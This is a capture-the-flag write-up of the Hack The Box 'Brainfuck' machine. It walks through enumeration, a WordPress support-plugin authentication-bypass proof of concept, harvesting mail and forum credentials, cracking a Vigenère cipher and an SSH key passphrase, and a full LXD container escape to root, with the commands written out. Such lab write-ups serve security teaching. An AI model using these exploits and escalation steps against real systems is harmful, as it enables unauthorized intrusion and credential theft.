Hack The Box - Brainfuck Machine Write-up
( I wrote this English version to share my approach with more people. I’m not a native English speaker, so if something sounds weird or the grammar slips, appreciate your understanding. )
Intro
Don’t be scared off by the “Insane” rating; it isn’t as bad as it looks. The path has many steps, but once the attack chain is laid out, each step isn’t too hard. This write-up shows exactly how I did it.
Enumeration
Started with an nmap scan.
┌──(samchen㉿kali)-[~/Desktop]
└─$ nmap -sC -sV 10.129.228.97
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 10:48 EDT
Nmap scan report for 10.129.228.97
Host is up (0.075s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 237.98 seconds
From the certificate, noted several hostnames and added them to /etc/hosts .
10.129.228.97 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb
Visited https://brainfuck.htb . It was a WordPress site, and the domain email orestis@brainfuck.htb stood out.
Not sure how it would be used, so saved it for later.
Went to https://sup3rs3cr3t.brainfuck.htb/ . It looked like a forum. After some testing, found nothing useful, so set it aside.
Back on brainfuck.htb . Outdated WordPress versions or plugins have many known vulnerabilities, so WPScan was run against the site.
┌──(samchen㉿kali)-[~/Desktop]
└─$ wpscan --url https://brainfuck.htb --disable-tls-checks --random-user-agent
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://brainfuck.htb/ [10.129.228.97]
[+] Started: Fri Oct 3 12:40:11 2025
Interesting Finding(s):
...
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
| Found By: Rss Generator (Passive Detection)
| - https://brainfuck.htb/?feed=rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
| - https://brainfuck.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
...
[i] Plugin(s) Identified:
[+] wp-support-plus-responsive-ticket-system
| Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Last Updated: 2019-09-03T07:57:00.000Z
| [!] The version is out of date, the latest version is 9.1.2
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 7.1.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
...
Version info showed WordPress 4.7.3 and the wp-support-plus-responsive-ticket-system plugin at 7.1.3 .
Searched the version and found a privilege escalation vulnerability on Exploit-DB.
Root Cause of the WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
In short, the plugin exposes a “social quick login” AJAX action without proper authentication and authorization. Supplying a username or email lets a request log in a user directly. Further details:https://security.szurek.pl/en/wp-support-plus-responsive-ticket-system-713-privilege-escalation/。
From brainfuck.htb/wp-login.php/, the failure message showed the admin user existed.
Used admin as the username and copied the PoC into hack.html.
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
POSTed the request and gained admin privileges.
More Exploration and SMTP Access
In the SMTP plugin settings, found very useful credentials: username orestis, password kHGuERB29DNiNE .
Connected and logged in to inspect mail.
┌──(samchen㉿kali)-[~/Desktop]
└─$ telnet brainfuck.htb 143
Trying 10.129.228.97...
Connected to brainfuck.htb.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready.
a1 LOGIN orestis kHGuERB29DNiNE
...
a5 FETCH 2 BODY.PEEK[]
* 2 FETCH (BODY[] {514}
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)
Hi there, your credentials for our "secret" forum are below :)
username: orestis
password: kIEnnfEKJ#9UmdO
Regards
)
a5 OK Fetch completed (0.003 + 0.000 secs).
a6 FETCH 1 BODY.PEEK[]
...
Your new WordPress site has been successfully set up at:
https://brainfuck.htb
You can log in to the administrator account with the following information:
Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php
...
a6 OK Fetch completed (0.001 + 0.000 secs).
One message, Forum Access Details, contained username: orestis and password: kIEnnfEKJ#9UmdO, which appeared to be the forum credentials.
Tried them on sup3rs3cr3t.brainfuck.htb and logged in as orestis!
Observing Threads and Decrypting the Ciphertext
In the “SSH Access” thread, saw orestis asking an admin for a key; in another encrypted thread “Key,” the content looked like gibberish, plus a URL-like string ”mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja”
Noticed the signature line “Orestis - Hacking for fun and profit.” In the encrypted thread, the same signature’s ciphertext varied. After some research, it looked like a Vigenère cipher.
With known-plaintext available, analyzed the key using an online tool.(https://asecuritysite.com/coding/vig2)。
Success: the key was fuckmybrain .
Used Boxentriq to decrypt the ciphertext and finally understood the admin’s messages.
The admin provided a private-key download link: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
Cracking the Private Key Passphrase
Once downloaded, the private key required a passphrase.
Converted it with ssh2john to a John format.
python /usr/share/john/ssh2john.py id_rsa > sshkey.hash
Ran John with the rockyou wordlist.
┌──(samchen㉿kali)-[~/Desktop]
└─$ john sshkey.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=ssh
Created directory: /home/samchen/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia! (id_rsa)
1g 0:00:00:02 DONE (2025-10-04 01:32) 0.4115g/s 5127Kp/s 5127Kc/s 5127KC/s 3psdyy:)..3pornuthin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Cracked the password: 3poulakia!
Tested SSH login.
chmod 600 id_rsa
ssh -i id_rsa orestis@brainfuck.htb
Entered the passphrase, logged in as orestis, and grabbed user.txt!
Final Privilege Escalation
(My approach may not be the intended path; use it as a reference.)
Checked id
orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)
Found orestis in the lxd group. lxd has a known privilege escalation path
(Reference:https://www.hackingarticles.in/lxd-privilege-escalation/ )
On the attack machine, built an Alpine image.
┌──(samchen㉿kali)-[~/Desktop]
└─$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 57, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 57 (delta 6), reused 8 (delta 4), pack-reused 42 (from 1)
Receiving objects: 100% (57/57), 3.12 MiB | 3.38 MiB/s, done.
Resolving deltas: 100% (19/19), done.
┌──(samchen㉿kali)-[~/Desktop]
└─$ cd lxd-alpine-builder
┌──(samchen㉿kali)-[~/Desktop/lxd-alpine-builder]
└─$ sudo ./build-alpine
[sudo] password for samchen:
Determining the latest release... v3.22
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.22/main/x86_64
Downloading alpine-keys-2.5-r0.apk
yword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: OK
Verified OK
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left
...
Selecting mirror http://alpinelinux.mirrors.ovh.net//v3.22/main
fetch http://alpinelinux.mirrors.ovh.net//v3.22/main/x86_64/APKINDEX.tar.gz
(1/27) Installing alpine-baselayout-data (3.7.0-r0)
(2/27) Installing musl (1.2.5-r10)
(3/27) Installing busybox (1.37.0-r19)
...
Executing busybox-1.37.0-r19.post-i
OK: 9 MiB in 27 packages
┌──(samchen㉿kali)-[~/Desktop/lxd-alpine-builder]
└─$ ls -lh *.tar.gz
-rw-rw-r-- 1 samchen samchen 3.2M Oct 4 02:14 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root root 3.9M Oct 4 02:15 alpine-v3.22-x86_64-20251004_0215.tar.gz
Started a simple HTTP server locally and downloaded the image on the target.
python3 -m http.server 8080
wget http://10.10.14.235:8080/alpine-v3.22-x86_64-20251004_0215.tar.gz -O alpine.tar.gz
Imported the image .
orestis@brainfuck:~$ lxc image import alpine.tar.gz --alias alpine
Image imported with fingerprint: c004daf415754a14922dcba253163019283eeed1a218f218db65ab72e7da81de
orestis@brainfuck:~$ lxc image list
+--------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| alpine | c004daf41575 | no | alpine v3.22 (20251004_02:15) | x86_64 | 3.85MB | Oct 4, 2025 at 6:36am (UTC) |
+--------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
Created a privileged container and mounted the host root / to /mnt/host inside the container.
orestis@brainfuck:~$ lxc init alpine pwnx -c security.privileged=true
Creating pwnx
orestis@brainfuck:~$ lxc config device add pwnx host-root disk source=/ path=/mnt/host
Device host-root added to pwnx
Launched the container, obtained a shell, then chrooted into the host as root.
orestis@brainfuck:~$ lxc start pwnx
orestis@brainfuck:~$ lxc exec pwnx -- /bin/sh
~ # chroot /mnt/host /bin/sh
root@pwnx:/#
Confirmed root privileges and finally grabbed root.txt!